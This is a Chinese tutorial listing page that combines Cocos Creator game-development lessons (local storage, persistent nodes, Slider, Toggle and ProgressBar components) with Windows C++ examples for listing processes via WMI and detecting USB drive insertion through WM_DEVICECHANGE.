    和 setItem 相对应,getItem 方法只要一个键值参数就可以取出我们之前保存的值了。对于上文中储存的用户数据:
    var userData = JSON.parse(cc.sys.localStorage.getItem('userData'));
    1.3 移除键值对当我们不再需要一个存储条目时,可以通过下面的接口将其移除:
    cc.sys.localStorage.removeItem(key)
    1.4 数据加密对于单机游戏来说,对玩家存档进行加密可以延缓游戏被破解的时间。要加密存储数据,只要在将数据通过 JSON.stringify 转化为字符串后调用你选中的加密算法进行处理,再将加密结果传入 setItem 接口即可。
    您可以搜索并选择一个适用的加密算法和第三方库,比如 encryptjs, 将下载好的库文件放入你的项目,存储时:
    var encrypt=require('encryptjs');var secretkey= 'open_sesame'; // 加密密钥var dataString = JSON.stringify(userData);var encrypted = encrypt.encrypt(dataString,secretkey,256);cc.sys.localStorage.setItem('userData', encrypted);
    读取时:
    var cipherText = cc.sys.localStorage.getItem('userData');var userData=JSON.parse(encrypt.decrypt(cipherText,secretkey,256));
    注意 数据加密不能保证对用户档案的完全掌控,如果您需要确保游戏存档不被破解,请使用服务器进行数据存取。
    2. 步骤2.1 存储数据cc.sys.localStorage.setItem('bestRunScore', this.bestRunScore);cc.sys.localStorage.setItem('bestJumpScore', this.bestJumpScore);
    2.2 读取数据cc.sys.localStorage.getItem("bestRunScore");cc.sys.localStorage.getItem("bestJumpScore");
    就是两个封装的方法,存储的方式是键值对
    2.3 Menu脚本也需要修改一下Menu.js
    ...onLoad: function () { this.record = cc.find("Record").getComponent("Record"); this.runScore.string = "你最远跑了" + this.record.bestRunScore+ "m"; this.jumpScore.string = "你最高跳了" + this.record.bestJumpScore+ "m"; ...},...
    3. 总结在现实生活中,我们经常重要数据传回服务器,而一些不重要数据则存储在本地。而且现在json数据格式很普遍,php等都可以使用json。
    本教程部分素材来源于网络。
    2 回答 2018-12-01 20:11:07
  • 【Cocos Creator实战教程(11)】——跨场景访问节点

    1. 相关知识点从这节课开始,我们就要回到之前制作的游戏上了。还记得之前做的菜单场景吗?

    中间有一个记录的label我们一直没理她,今天我们就来翻她的牌子
    我们每次游戏结束时都会有一个分数,这个分数变量在相应的游戏场景里,我们想要的效果时:当返回菜单时,我们要把这个分数变量带回来,但当场景销毁时,其中的所有节点都会随之消失
    这里就要引出另一个重要的知识点,同学们拿笔记一下(没带笔的前后桌借一下)
    不会跟随场景销毁的节点——常驻节点
    2. 步骤我们回到第一个Load场景,添加一个根节点(必须是根节点哦)Record

    编写脚本Record.js
    cc.Class({ extends: cc.Component, properties: { bestRunScore: 0, bestJumpScore: 0, }, onLoad: function () { cc.game.addPersistRootNode(this.node); var bestRunScore = cc.sys.localStorage.getItem("bestRunScore"); if(bestRunScore){ this.bestRunScore = bestRunScore; } var bestJumpScore = cc.sys.localStorage.getItem("bestJumpScore"); if(bestRunScore){ this.bestJumpScore = bestJumpScore; } }, updateRunScore: function(score){ if(score > this.bestRunScore){ this.bestRunScore = score; } }, updateJumpScore: function(score){ if(score > this.bestJumpScore){ this.bestJumpScore = score; } }, save(){ cc.sys.localStorage.setItem('bestRunScore', this.bestRunScore); cc.sys.localStorage.setItem('bestJumpScore', this.bestJumpScore); },});
    我们在onLoad方法里将Record节点变成游戏的常驻节点
    cc.game.addPersistRootNode(this.node);
    销毁的方法是
    cc.game.removePersistRootNode(node);
    游戏中的常驻节点,在切换场景时不会销毁,所以我们可以把一些需要跨场景访问的方法和变量添加到常驻节点的脚本里
    我们切换到Menu场景,惊奇的发现,那个常驻节点Record并没有出现!

    这是因为常驻节点只是逻辑上的,并不会在其他场景层级管理器里出现,这就要用另一个找节点的方法了
    cc.find();
    接着我们修改两个Game的stopGame方法
    Game.js
    stopGame: function(){ cc.director.getCollisionManager().enabled = false; this.gameOverMenu.active = true; this.overScore.string = this.score+"m"; //存储数据 cc.find("Record").getComponent("Record").updateRunScore(this.score);},
    Game2.js
    stopGame: function(){ cc.director.getCollisionManager().enabled = false; this.gameOverMenu.getChildByName('OverScore').getComponent(cc.Label).string = this.score; this.gameOverMenu.active = true; //存储数据 cc.find("Record").getComponent("Record").updateJumpScore(this.score);},
    3. 总结跨场景访问节点主要用于保存游戏状态,所以很多时候要配合着存储数据使用。下节课我们就来介绍存储数据,不见不散~~
    本教程部分资源来源于网络。
    1 回答 2018-12-01 16:49:18
  • 编程使用WMI

    背景
    WMI出现至今已经二十多年了,但很多人对它并不熟悉。知道它很好很强大,但不知道它从哪里来,怎么工作,使用范围是什么?
      WMI有一组API。我们不管使用VBScript、PowerShell脚本还是利用C#的来访问WMI的类库,都是因为WMI向外暴露的一组API。这些API是在系统安装WMI模块的时候安装的,通过他们我们能够能拿到我们想要的类。
      WMI有一个存储库。尽管WMI的多数实例数据都不存储在WMI中,但是WMI确实有一个存储库,用来存放提供程序提供的类信息,或者称为类的蓝图或者Schema。
      WMI有一个Service。WMI总是能够响应用户的访问,那是因为它有一个一直运行的Windows服务,名字叫Winmgmt。停止这个服务,所有对WMI的操作都将没有反应。
      WMI是可扩展的。人人都知道WMI能干很多事情,读取本机硬盘信息、读取远程计算机的用户信息、读取域用户信息等等。基本上,你能想到的获取或者更改资源的操作,它都能干。可谓吃得少,干得多。它为什么这么能干呢?这基于WMI的可扩展性。WMI对资源的操作,不是它自己实现了什么方法,而完全取决于向它注册的提供程序。
      WMI是管理员日常必备的强大工具之一,是脚本伴侣。当然也可以把一个大型系统建立在WMI以及WMI的提供程序之上。
    WMI的全称是Windows Management Instrumentation,即Windows管理工具。它是Windows操作系统中管理数据和操作的基础模块。我们可以通过WMI脚本或者应用程序去管理本地或者远程计算机上的资源。对于VC和汇编程序员,想获取诸如CPU序列号和硬盘序列号等信息是非常容易的。但是对于VB以及其他一些脚本语言,想尝试获取系统中一些硬件信息可能就没那么容易了。微软为了能达到一种通用性目的(遵守某些行业标准),设计了WMI。它提供了一个通过操作系统、网络和企业环境去管理本地或远程计算机的统一接口集。应用程序和脚本语言使用这套接口集去完成任务,而不是直接通过Windows API。可能有人要问,为什么不让设计的脚本直接在底层使用Windows API,而非要弄个新的技术呢?原因是在目前Windows API中,有些是不支持远程调用或者脚本调用的。这样通过统一模型的WMI,像VB和脚本语言就可以去访问部分系统信息了。但是并不是所有脚本语言都可以使用WMI技术:它要支持ActiveX技术。

    WMI通常是被脚本所调用的,不过也对。对于WMI能做的操作,我们也完全可以通过VS去调用Win32 API去实现。但是,本文要讲的是使用VS调用WMI提供的接口去获取系统的信息。那么,VS中怎么使用WMI呢?接下来,我就把我所了解的知识分享给大家。
    函数介绍CoInitializeEx 函数
    为当前线程初始化COM库并设置并发模式 。
    函数声明
    HRESULT CoInitializeEx( void * pvReserved, DWORD dwCoInit);
    参数

    pvReserved系统 保留的参数,必须传入 NULL。dwCoInit该标示指明基于当前线程的并发模式和初始化选项。该参数是 COINIT 枚举类型,传入参数时候,除了COINIT_APARTMENTTHREADED 和COINIT_MULTITHREAD ED标记外,其余的标记可以组合使用。
    返回值

    S_OK :COM库初始化成功。S_FALSE :当前线程上,COM库已经被初始化。RPC_E_CHANGED_MODE :COM库已经被初始化且传入参数设置的并发模式和本次不同。

    CoInitializeSecurity 函数
    注册安全性并设置进程的默认安全性值。
    函数声明
    HRESULT CoInitializeSecurity( _In_opt_ PSECURITY_DESCRIPTOR pSecDesc, _In_ LONG cAuthSvc, _In_opt_ SOLE_AUTHENTICATION_SERVICE *asAuthSvc, _In_opt_ void *pReserved1, _In_ DWORD dwAuthnLevel, _In_ DWORD dwImpLevel, _In_opt_ void *pAuthList, _In_ DWORD dwCapabilities, _In_opt_ void *pReserved3);
    参数

    pSecDesc [in]服务器将用于接收呼叫的访问权限。cAuthSvc [in]asAuthSvc参数中的条目计数。只有当服务器调用CoInitializeSecurity时,此参数才被COM使用。如果此参数为0,则不会注册认证服务,并且服务器无法接收安全呼叫。值为-1表示COM选择要注册的身份验证服务,如果是这种情况,则asAuthSvc参数必须为NULL。但是,如果参数为-1,则服务器将不会选择Schannel作为身份验证服务。asAuthSvc [in]一组服务器愿意用来接收呼叫的认证服务。pReserved1 [in]此参数是保留的,必须为NULL。dwAuthnLevel [in]进程的默认身份验证级别。dwImpLevel [in]代理的默认模拟级别。此参数的值仅在进程为客户端时使用。pAuthList [in]指向SOLE_AUTHENTICATION_LIST的指针,它是一个SOLE_AUTHENTICATION_INFO结构的数组。dwCapabilities [in]通过设置一个或多个EOLE_AUTHENTICATION_CAPABILITIES值指定的客户端或服务器的附加功能。pReserved3 [in]此参数是保留的,必须为NULL。
    返回值

    S_OK :COM库初始化成功。RPC_E_TOO_LATE:CoInitializeSecurity 已经被调用。E_OUT_OF_MEMORY:内存不足。

    CoCreateInstance 函数
    用指定的类标识符创建一个COM对象,用指定的类标识符创建一个未初始化的对象。
    函数声明
    STDAPI CoCreateInstance( REFCLSID rclsid, //创建的Com对象的类标识符(CLSID) LPUNKNOWN pUnkOuter, //指向接口IUnknown的指针 DWORD dwClsContext, //运行可执行代码的上下文 REFIID riid, //创建的Com对象的接口标识符 LPVOID * ppv //用来接收指向Com对象接口地址的指针变量);
    参数

    rclsid[in] 用来唯一标识一个对象的CLSID(128位),需要用它来创建指定对象。pUnkOuter[in] 如果为NULL, 表明此对象不是聚合式对象一部分。如果不是NULL, 则指针指向一个聚合式对象的IUnknown接口。dwClsContext[in] 组件类别. 可使用CLSCTX枚举器中预定义的值。riid[in] 引用接口标识符,用来与对象通信。ppv[out] 用来接收指向接口地址的指针变量。如果函数调用成功,*ppv包括请求的接口指针。
    返回值

    S_OK:指定的Com对象实例被成功创建。REGDB_E_CLASSNOTREG:指定的类没有在注册表中注册. 也可能是指定的dwClsContext没有注册或注册表中的服务器类型损坏。CLASS_E_NOAGGREGATION:这个类不能创建为聚合型。E_NOINTERFACE:指定的类没有实现请求的接口, 或者是IUnknown接口没有暴露请求的接口。

    CoSetProxyBlanket 函数
    设置将用于在指定代理上进行呼叫的认证信息。
    函数声明
    HRESULT CoSetProxyBlanket( _In_ IUnknown *pProxy, _In_ DWORD dwAuthnSvc, _In_ DWORD dwAuthzSvc, _In_opt_ OLECHAR *pServerPrincName, _In_ DWORD dwAuthnLevel, _In_ DWORD dwImpLevel, _In_opt_ RPC_AUTH_IDENTITY_HANDLE pAuthInfo, _In_ DWORD dwCapabilities);
    参数

    pProxy [in]要设置的代理。dwAuthnSvc [in]要使用的身份验证服务。dwAuthzSvc [in]要使用的授权服务。pServerPrincName [in]要与身份验证服务一起使用的服务器主体名称。dwAuthnLevel [in]要使用的认证级别。dwImpLevel [in]要使用的模拟级别。pAuthInfo [in]指向建立客户端身份的RPC_AUTH_IDENTITY_HANDLE值的指针。由句柄引用的结构的格式取决于认证服务的提供者。dwCapabilities [in]这个代理的功能。
    返回值

    S_OK:执行成功。E_INVALIDARG:一个或者多个参数无效。

    实现原理现在,我们来解析下在VS2013中使用WMI的原理过程:

    首先,我们要使用CoInitializeEx初始化COM组件环境。因为WMI是基于COM组件实现的,使用COM组件前,必须要进行初始化操作。
    然后,使用CoInitializeSecurity注册安全性并设置进程的默认安全性值。
    接着,使用CoCreateInstance创建一个IWbemLocator的COM对象。
    跟着,通过IWbemLocator::ConnectServer函数连接到WMI,并获取IWbemServices指针。
    然后,使用CoSetProxyBlanket设置连接的安全级别。
    接着,使用IWbemServices指针发出WMI请求,执行WQL语句。
    然后,从查询返回集中获取获取返回数据。
    进行清理工作。

    其中,WQL其实非常简单,它有如下特点:
    SELECT 属性名 FROM 类名每个WQL语句必须以SELECT开始,SELECT后跟你需要查询的属性名,也可以像SQL一样,以*表示返回所有属性值。然后,FROM关键字,即你要查询的类的名字。
    本文使用的WQL语句是:SELECT * FROM Win32_Process。
    编码实现加载WMI所需的库文件#include <comdef.h>#include <WbemIdl.h>#pragma comment(lib, "wbemuuid.lib")
    调用WIM获取进程信息int WMI_EnumProcess(){ /*******************************************/ // 初始化操作 // /*******************************************/ // 初始化COM组件 HRESULT hRes = ::CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hRes)) { printf("CoInitializeEx Error[%d]\n", hRes); return 1; } // 设置进程的安全级别 hRes = ::CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL); if (FAILED(hRes)) { printf("CoInitializeSecurity Error[%d]\n", hRes); return 2; } /*******************************************/ // 创建一个WMI命名空间连接 // /*******************************************/ // 创建一个CLSID_WbemLocation对象 IWbemLocator *pIWbemLocator = NULL; hRes = ::CoCreateInstance(CLSID_WbemLocator, NULL, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)(&pIWbemLocator)); if (FAILED(hRes)) { printf("CoCreateInstance Error[%d]\n", hRes); return 3; } // 使用 pIWbemLocator 连接到 "root\cimv2", 并获取 pIWbemServices IWbemServices *pIWbemServices = NULL; hRes = pIWbemLocator->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, NULL, 0, NULL, NULL, &pIWbemServices); if (FAILED(hRes)) { printf("pIWbemLocator->ConnectServer Error[%d]\n", hRes); return 4; } /*******************************************/ // 设置连接的安全级别 // /*******************************************/ // 设置连接的安全级别 hRes = ::CoSetProxyBlanket(pIWbemServices, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE); if (FAILED(hRes)) { printf("CoSetProxyBlanket Error[%d]\n", hRes); return 5; } /*******************************************/ // 执行WQL查询代码 // /*******************************************/ // 这里是列出正在运行进程的例子 // 为了接收结果, 你必须定义一个枚举对象 IEnumWbemClassObject *pIEnumWbemClassObject = NULL; hRes = pIWbemServices->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_Process"), // 类似数据库中的 SQL 语句 WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pIEnumWbemClassObject); if (FAILED(hRes)) { printf("pIWbemServices->ExecQuery Error[%d]\n", hRes); return 6; } // 显示查询结果 IWbemClassObject *pIWbemClassObject = NULL; ULONG ulRet = 0; VARIANT varProp = { 0 }; while (pIEnumWbemClassObject) { // 获取下一个对象 hRes = pIEnumWbemClassObject->Next(WBEM_INFINITE, 1, &pIWbemClassObject, &ulRet); // 判断获取完毕结束 if (0 == ulRet) { break; } // 获取 ProcessId 字段的值 并 显示 ::VariantClear(&varProp); pIWbemClassObject->Get(L"ProcessId", 0, &varProp, NULL, NULL); printf("[%d]\t", varProp.intVal); // 获取 Name 字段的值 并 显示 ::VariantClear(&varProp); pIWbemClassObject->Get(L"Name", 0, &varProp, NULL, NULL); printf("[%ws]\n", varProp.bstrVal); } /*******************************************/ // 清理释放 // /*******************************************/ // 释放 ::VariantClear(&varProp); pIWbemServices->Release(); pIWbemLocator->Release(); ::CoUninitialize(); return 0;}
    程序测试在 main 函数中调用上述封装好的函数进行测试,main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ // 调用 WMI 去查询进程信息 WMI_EnumProcess(); system("pause"); return 0;}
    测试结果:
    运行程序,进程信息成功显示。所以测试成功。

    总结在VS中使用WMI,流程总是这么几步。要查询其他信息,也只是更改下WQL查询语句以及查询结果的显示而已。如果你学过数据库,或者了解过数据库相关的知识的话,你会发现WQL查询语句和数据SQL语句是很相似的。那是因为,我们之前提到的,WMI也有自己的数据库,也会在数据库里存储一些信息。
    参考文档WMI入门(一):什么是WMI
    WMI技术介绍和应用——WMI概述
    《Windows黑客编程技术详解》一书
    1 回答 2018-11-30 21:25:55
  • 【Cocos Creator实战教程(10)】——UI组件(4)Slider 组件

    1. 相关知识点Slider是一个滑动器组件
    1.1 Slider组件点击 属性检查器下面的添加组件按钮,然后从添加UI组件中选择Slider,即可添加Slider组件到节点上。
    1.2 Slider属性


    属性
    功能说明




    Handle
    滑动按钮部件,可以通过该按钮进行滑动调节Slider数值大小


    direction
    滑动器的方向,横向和竖向


    progress
    当前进度值,该数值的区间为0~1之间


    slideEvents
    滑动组件事件回调函数



    1.3 Slider事件



    属性
    功能说明




    target
    带有脚本组件的节点


    Component
    脚本组件的名称


    Handler
    指定一个回调函数,当Slider的事件发生的时候调用此函数。


    CustomEventData
    用户指定任意的字符串作为事件回调的最后一个参数传入



    Slider的回调有两个参数,第一个参数是Slider本身,第二个参数是CustomEventData
    1.4 详细说明Slider通常用于调节数值的UI(例如音量调节、亮度调节等),它主要的部件一个滑动按钮,该部件用于用户交互,通过该部件调节Slider的数值大小。
    通常的Slider的节点树,如图:

    2. 步骤编写脚本
    cc.Class({ extends: cc.Component, properties: { }, callback: function(slider, customEventData) { console.log("Slider的回调函数"); },});
    使用编辑器选定脚本

    3. 总结当我们要用slider调节音量时,要用到progress和direction重写回调函数,可以想想如何完成。
    本素材部分资源来源于网络。
    1 回答 2018-11-30 16:36:02
  • 【Cocos Creator实战教程(9)】——UI组件(3)Toggle 组件

    1. 相关知识点Toggle 是一个 CheckBox,当它和 ToggleGroup 一起使用的时候,可以变成 RadioButton。也就是经常用到的选择、多选按钮
    1.1 Toggle 属性


    属性
    功能说明




    isChecked
    布尔类型,如果这个设置为 true,则 check mark 组件会处于 enabled 状态,否则处于 disabled 状态。


    checkMark
    cc.Sprite 类型,Toggle 处于选中状态时显示的图片


    toggleGroup
    cc.ToggleGroup 类型, Toggle 所属的 ToggleGroup,这个属性是可选的。如果这个属性为 null,则 Toggle 是一个 CheckBox,否则,Toggle 是一个 RadioButton。


    Check Events
    列表类型,默认为空,用户添加的每一个事件由节点引用,组件名称和一个响应函数组成。详情见Toggle 事件章节



    注意:因为 Toggle 继承至 Button。
    1.2 Toggle 事件


    属性
    功能说明




    Target
    带有脚本组件的节点


    Component
    脚本组件名称


    Handler
    指定一个回调函数,当Toggle的事件发生的时候会调用此函数


    CustomEventData
    用户指定任意的字符串作为事件回调的最后一个参数传入



    Toggle事件的回调参数有两个: 第一个是Toggle本身,第二个参数是customEventData。
    1.3 Toggle详细说明Toggle的节点树:

    官方文档中说要将checkmark放到Background节点上面。
    注意: 在层级结构上面要将checkmark放到Background节点上面,或者在Background添加一个checkmark的子节点。
    1.4 ToggleContainer它并不是一个可见的UI组件,他可以用来修改一组Toggle组件的行为。当一组Toggle属于同一个ToggleContainer的时候,任何时候只能有有一个Toggle处于选中状态。(togglegroup新版已经弃用)



    属性
    功能说明




    allowSwitchOff
    如果这个值设置为true,那么toggle按钮在被点击的时候可以反复地被选中和未选中。



    2. 步骤2.1 单个toggle直接在属性检查器中选择你的回调方法
    在脚本文件中创建好你的方法回调,在 属性检查器 中选择你的回调函数。
    cc.Class({ extends: cc.Component, properties: { }, callback(toggle, customEventData) { alert("Toggle1 " + customEventData); }, start () { },});

    2.2 ToggleContainer直接新建UI节点->ToggleContainer,我们允许它重复选择,将allowSwitchOff勾选。
    3. 总结事实上,toggle事件添加有很多方式

    方法一 纯代码添加回调方法二 通过 toggle.node.on(‘toggle’, …) 的方式来添加方法三 用代码获取UI控件方法四 直接在属性检查器中选择你的回调方法
    对于现在写好了的回调函数已经够用了,所以一般使用最后一种方式。
    本教程部分素材来源于网络。
    1 回答 2018-11-29 19:59:39
  • 编程实现监控U盘或者其它移动设备的插入和拔出

    背景如果在没有阅读本文之前,可能你会认为编程实现监控U盘或者其它移动设备的插入和拔出,是一个很难的事情,或者是一个很靠近系统底层的事情。其实,这些你完全不用担心,Windows 已经为我们都设计好了。
    我们都知道,Windows应用程序都是消息(事件)驱动的,任何一个窗口都能够接收消息,并对该消息做出相应的处理。同样,U盘或者其它移动设备的插入或者拔出也会有相应的消息与之对应,这个消息便是 WM_DEVICECHANGE。顾名思义,这个消息就是设备更改的时候产生的。那么,我们的程序同样可以捕获到这个消息,只要我们对这个消息做出处理就可以了。
    现在,我就把这个程序实现的过程整理成文档,分享给大家。
    函数介绍WM_DEVICECHANGE 消息
    通知应用程序对设备或计算机的硬件配置进行更改。窗口通过其WindowProc函数接收此消息。
    LRESULT CALLBACK WindowProc( HWND hwnd, // handle to window UINT uMsg, // WM_DEVICECHANGE WPARAM wParam, // device-change event LPARAM lParam // event-specific data );
    参数

    hwnd:窗口的句柄。
    uMsg:WM_DEVICECHANGE标识符。
    wParam:发生的事件。 该参数可以是Dbt.h头文件中的以下值之一:




    VALUE
    MEANING




    DBT_CONFIGCHANGECANCELED
    更改当前配置(停靠或停靠)的请求已被取消


    DBT_CONFIGCHANGED
    由于停靠或停靠,当前配置已更改


    DBT_CUSTOMEVENT
    发生了自定义事件


    DBT_DEVICEARRIVAL
    已插入设备或介质,现在可以使用


    DBT_DEVICEQUERYREMOVE
    请求删除设备或介质的权限。 任何应用程序可以拒绝此请求并取消删除


    DBT_DEVICEQUERYREMOVEFAILED
    删除设备或介质的请求已被取消


    DBT_DEVICEREMOVECOMPLETE
    已移除设备或介质片


    DBT_DEVICEREMOVEPENDING
    一个设备或一块介质即将被删除。 不能否认


    DBT_DEVICETYPESPECIFIC
    发生设备特定事件


    DBT_DEVNODES_CHANGED
    已将设备添加到系统中或从系统中删除


    DBT_QUERYCHANGECONFIG
    请求权限更改当前配置(停靠或停靠)


    DBT_USERDEFINED
    此消息的含义是用户定义的




    lParam:指向包含事件特定数据的结构的指针。 其格式取决于wParam参数的值。 有关详细信息,请参阅每个事件的文档。
    返回值

    返回TRUE以授予请求。返回BROADCAST_QUERY_DENY以拒绝该请求。

    DEV_BROADCAST_HDR 结构体
    typedef struct _DEV_BROADCAST_HDR { DWORD dbch_size; DWORD dbch_devicetype; DWORD dbch_reserved;} DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;
    成员

    dbch_size这个结构的大小,以字节为单位。如果这是用户定义的事件,则该成员必须是此标头的大小,加上_DEV_BROADCAST_USERDEFINED结构中的可变长度数据的大小。
    dbch_devicetype设备类型,用于确定前三个成员之后的事件特定信息。 该成员可以是以下值之一:




    VALUE
    MEANING




    DBT_DEVTYP_DEVICEINTERFACE
    设备类。 此结构是DEV_BROADCAST_DEVICEINTERFACE结构


    DBT_DEVTYP_HANDLE
    文件系统句柄。 这个结构是一个DEV_BROADCAST_HANDLE结构


    DBT_DEVTYP_OEM
    OEM或IHV定义的设备类型。 该结构是DEV_BROADCAST_OEM结构


    DBT_DEVTYP_PORT
    端口设备(串行或并行)。 这个结构是一个DEV_BROADCAST_PORT结构


    DBT_DEVTYP_VOLUME
    逻辑卷。 这个结构是一个DEV_BROADCAST_VOLUME结构




    dbch_reserved
    保留。


    DEV_BROADCAST_VOLUME 结构体
    typedef struct _DEV_BROADCAST_VOLUME { DWORD dbcv_size; DWORD dbcv_devicetype; DWORD dbcv_reserved; DWORD dbcv_unitmask; WORD dbcv_flags;} DEV_BROADCAST_VOLUME, *PDEV_BROADCAST_VOLUME;
    成员

    dbcv_size这个结构的大小,以字节为单位。
    dbcv_devicetype设置为DBT_DEVTYP_VOLUME(2)。
    dbcv_reserved保留; 不使用。
    dbcv_unitmask标识一个或多个逻辑单元的逻辑单元掩码。 掩码中的每个位对应于一个逻辑驱动器。 位0表示驱动器A,位1表示驱动器B,依此类推。
    dbcv_flags此参数可以是以下值之一:




    VALUE
    MEANING




    DBTF_MEDIA
    更改影响驱动器中的介质。 如果未设置,更改将影响物理设备或驱动器


    DBTF_NET
    指示逻辑卷是一个网络卷




    实现原理由于我们主要是对设备的插入和拔出做操作,所以,只需要对消息回调函数的参数 wParam 进行判断,是否为设备已插入操作 DBT_DEVICEARRIVAL 和 设备已移除操作 DBT_DEVICEREMOVECOMPLETE。然后再重点分析相应操作对应的 lParam 参数里存储的信息数据,从而分析出产生操作设备的盘符。
    设备已插入 DBT_DEVICEARRIVAL首先,当 wParam 为设备已插入操作 DBT_DEVICEARRIVAL的时候,我们就可以知道是有设备已经插入了。
    接下来就是要获取设备的盘符,这需要对参数 lParam 进行分析,此时 lParam 则表示指向 DEV_BROADCAST_HDR 结构的指针。由上述的结构体介绍中,我们可以知道,要获取盘符,就首先要判断 DEV_BROADCAST_HDR 结构体中的设备类型 dbch_devicetype 是否为逻辑卷 DBT_DEVTYP_VOLUME。因为其它的消息类型,是不会产生盘符的。只有消息类型为 DBT_DEVTYP_VOLUME 逻辑卷,才会产生盘符。
    由上述结构体介绍中知道,当消息类型为 DBT_DEVTYP_VOLUME 逻辑卷的时候, 参数 lParam 实际上是结构体 DEV_BROADCAST_VOLUME。其中,结构体 DEV_BROADCAST_VOLUME 的 dbcv_unitmask 成员标识一个或多个逻辑单元的逻辑单元掩码,掩码中的每个位对应于一个逻辑驱动器。 位0表示驱动器A,位1表示驱动器B,依此类推。所以,我们可以根据 dbcv_unitmask 计算出设备生成的盘符。
    设备已移除 DBT_DEVICEREMOVECOMPLETE首先,当 wParam 为设备已移除操作 DBT_DEVICEREMOVECOMPLETE 的时候,我们就可以知道是有设备已经移除了。
    接下来就是要获取移除设备原来的盘符,这需要对参数 lParam 进行分析,此时 lParam 则表示指向 DEV_BROADCAST_HDR 结构的指针。接下来的分析,和上面设备插入时,获取设备盘符的分析是一样的,在此就不重复了。
    编程实现给程序添加 WM_DEVICECHANGE 的消息响应,并声明定义一个处理函数,处理相应的消息。
    对于 Windows应用程序 来说,只需要在窗口消息处理函数中,增加消息类型WM_DEVICECHANGE 的判断即可。然后,调用处理函数进程处理。
    对于 MFC 程序来说,则需要自定义 WM_DEVICECHANGE 消息响应函数。在主对话框类的头文件中声明处理函数 :
    LRESULT OnDeviceChange(WPARAM wParam, LPARAM lParam);
    然后,再在主对话框类的消息映射列表中,添加 WM_DEVICECHANGE 与消息处理函数的映射:
    BEGIN_MESSAGE_MAP(CWM_DEVICECHANGE_MFC_TestDlg, CDialogEx) … …(省略) ON_MESSAGE(WM_DEVICECHANGE, OnDeviceChange) … …(省略)END_MESSAGE_MAP()
    那么,Windows应用程序 和 MFC 程序对 WM_DEVICECHANGE 消息的消息处理函数定义都是相同的:
    LRESULT OnDeviceChange(WPARAM wParam, LPARAM lParam){ switch (wParam) { // 设备已经插入 case DBT_DEVICEARRIVAL: { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; // 逻辑卷 if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) { // 根据 dbcv_unitmask 计算出设备盘符 PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; DWORD dwDriverMask = lpdbv->dbcv_unitmask; DWORD dwTemp = 1; char szDriver[4] = "A:\\"; for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) { if (0 < (dwTemp & dwDriverMask)) { // 获取设备盘符 ::MessageBox(NULL, szDriver, "设备已插入", MB_OK); } // 左移1位, 接着判断下一个盘符 dwTemp = (dwTemp << 1); } } break; } // 设备已经移除 case DBT_DEVICEREMOVECOMPLETE: { PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam; // 逻辑卷 if (DBT_DEVTYP_VOLUME == lpdb->dbch_devicetype) { // 根据 dbcv_unitmask 计算出设备盘符 PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb; DWORD dwDriverMask = lpdbv->dbcv_unitmask; DWORD dwTemp = 1; char szDriver[4] = "A:\\"; for (szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) { if (0 < (dwTemp & dwDriverMask)) { // 获取设备盘符 ::MessageBox(NULL, szDriver, "设备已移除", MB_OK); } // 左移1位, 接着判断下一个盘符 dwTemp = (dwTemp << 1); } } break; } default: break; } return 0;}
    程序测试这是,我们直接运行程序,插入U盘,程序成功弹窗提示有U盘插入,并给出U盘的盘符。

    我们把U盘拔出,程序成功弹窗提示有U盘拔出,并给出U盘的盘符。

    总结本文给出了 MFC程序 和 Windows应用程序 的例子,实现监控U盘或其它移动设备的插入和拔出。其中,我们需要注意理解 DEV_BROADCAST_VOLUME 的 dbcv_unitmask 逻辑单元掩码。它是 4字节 32位,它的每一位都对应一个盘符,从 A 开始计数。如果位中的数值为1,则表示设备操作产生的盘符,为 0,则表示没有产生盘符。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-11-28 20:55:37
  • 【Cocos Creator实战教程(8)】——UI组件(2)ProgressBar 组件

    1. 知识点讲解ProgressBar(进度条)经常被用于在游戏中显示某个操作的进度,在节点上添加 ProgressBar 组件,然后给该组件关联一个 Bar Sprite 就可以在场景中控制 Bar Sprite 来显示进度了。

    点击 属性检查器 下面的添加组件按钮,然后从添加 UI 组件中选择ProgressBar,即可添加 ProgressBar 组件到节点上。
    1.1 ProgressBar 属性


    属性
    功能说明




    Bar Sprite
    进度条渲染所需要的 Sprite 组件,可以通过拖拽一个带有 Sprite组件的节点到该属性上来建立关联。


    Mode
    支持 HORIZONTAL(水平)、VERTICAL(垂直)和 FILLED(填充)三种模式,可以通过配合 reverse 属性来改变起始方向。


    Total Length
    当进度条为 100%时 Bar Sprite 的总长度/总宽度。在 FILLED 模式下 Total Length 表示取 Bar Sprite 总显示范围的百分比,取值范围从 0 ~ 1。


    Progress
    浮点,取值范围是 0~1,不允许输入之外的数值。


    Reverse
    布尔值,默认的填充方向是从左至右/从下到上,开启后变成从右到左/从上到下。



    1.2 详细说明添加 ProgressBar 组件之后,通过从 层级管理器 中拖拽一个带有Sprite组件的节点到 Bar Sprite属性上,此时便可以通过拖动 progress 滑块来控制进度条的显示了。
    Bar Sprite 可以是自身节点,子节点,或者任何一个带有Sprite组件的节点。另外,Bar Sprite 可以自由选择 Simple、Sliced 和 Filled 渲染模式。
    进度条的模式选择 FILLED 的情况下,Bar Sprite 的 Type 也需要设置为 FILLED,否则会报警告。
    2. 步骤创建新的ProgressScene,创建ProgressBar控件名为progressBarView,然后在progressBarView上添加脚本文件ProgressBarScript。
